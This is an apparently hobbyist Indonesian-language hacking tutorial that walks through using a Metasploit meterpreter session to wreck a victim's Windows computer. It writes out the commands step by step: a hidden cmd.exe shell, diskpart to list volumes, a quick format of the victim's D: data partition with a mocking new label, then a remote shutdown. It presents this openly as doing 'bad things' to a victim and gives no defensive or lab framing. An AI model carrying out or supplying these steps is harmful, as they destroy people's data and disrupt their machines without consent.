Messing With Meterpreter

Setelah mengetahui banyak cara untuk melakukan exploitasi dan maintaining access, sekarang saatnya memanfaatkan metasploit untuk melakukan hal-hal buruk. Kali ini saya akan mencoba mem-format partisi korban.

Langsung saja ke tahap meterpreter =)

Masuk ke dalam command prompt korban dengan menulis perintah

meterpreter > execute -f cmd.exe -i -H

Kemudian masukan perintah ini ke dalam command prompt:

C:\WINDOWS\system32>diskpart

Lalu, masukan perintah ini di dalam konsol diskpart:

DISKPART>list volume

Maka DISKPART akan menampilkan setiap partisi dan volume yang terdapat dalam sebuah komputer atau laptop. =)

Sebelum memulai format, saya akan menunjukan bahwa koban memiliki data pada partisi D:

Saatnya mem-format. KEmbali ke command prompt, dan masukan perintah berikut:

DISKPART>exit

C:\WINDOWS\system32>format D: /Q /X

Keterangan:

1. /Q format dengan mode quiet [diam]

2. /X format dengan mode cepat, tanpa check disk

Setelah itu, kamu akan diminta memasukan label pada partisi D:. Dalam kasus ini, korban memberi label "Data" pada partisi D:. Sehingga saya memasukan Data ketika ditanya hal ini. Kemudian tekan "Y" lalu "enter" untuk memulai format partisi. Setelah terformat, anda akan diminta untuk memasukan label baru. Dalam kasus ini, saya memberi Label dengan nama "Kena-Deh" =D

Kemudian cek kembali dengan diskpart. Lalu masukan perintah "volume list"

Terlihat bahwa label sudah berganti menjadi "Kena-Deh".

Lalu apakah data di partisi D hilang? Mari kita cek.

Belum cukup, lalu saya masukan perintah "shutdown" pada konsol meterpreter untuk mematikan Komputer korban =)

Apa yang terjadi dengan korban? Mari kita lihat kembali. =)

Created by: red-dragon

Supported by:

Yoshephine Handini

blue-dragon